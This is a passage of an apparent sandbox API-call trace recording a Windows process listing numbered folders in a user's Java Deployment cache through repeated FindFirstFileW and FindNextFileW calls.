hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="38", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="39", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="40", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="41", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="43", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="44", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="45", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="46", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="47", cAlternateFileName="")) returned 1 [0147.466] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="48", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="49", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="50", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="51", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="52", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="53", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="55", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="56", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="57", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58", cAlternateFileName="")) returned 1 [0147.467] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="59", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="60", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="62", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="63", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="host", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e8f940, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="muffin", cAlternateFileName="")) returned 1 [0147.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e8f940, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="muffin", cAlternateFileName="")) returned 0 [0147.469] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.470] SetErrorMode (uMode=0x0) returned 0x1 [0147.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0", lpFilePart=0x0) returned 0x41 [0147.470] SetErrorMode (uMode=0x1) returned 0x0 [0147.470] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="13", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15", cAlternateFileName="")) returned 1 [0147.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, 